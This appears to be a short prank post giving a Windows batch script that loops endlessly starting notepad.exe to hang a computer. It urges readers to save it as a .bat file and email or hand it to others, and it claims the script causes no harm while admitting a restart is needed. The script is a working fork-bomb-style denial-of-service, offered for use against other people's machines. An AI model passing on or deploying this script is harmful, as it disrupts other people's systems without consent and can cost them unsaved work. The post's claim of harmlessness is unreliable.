A simple notepad trick, to open Crores of notepad and hang anyone's system.

Just copy the below text and paste in a notepad. 
save as .bat extension. 
and mail, or give to anyone.
u can try urself too. It will cause no harm.


@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


You will need to restart your pc after this trick. but its fun.
Enjoy.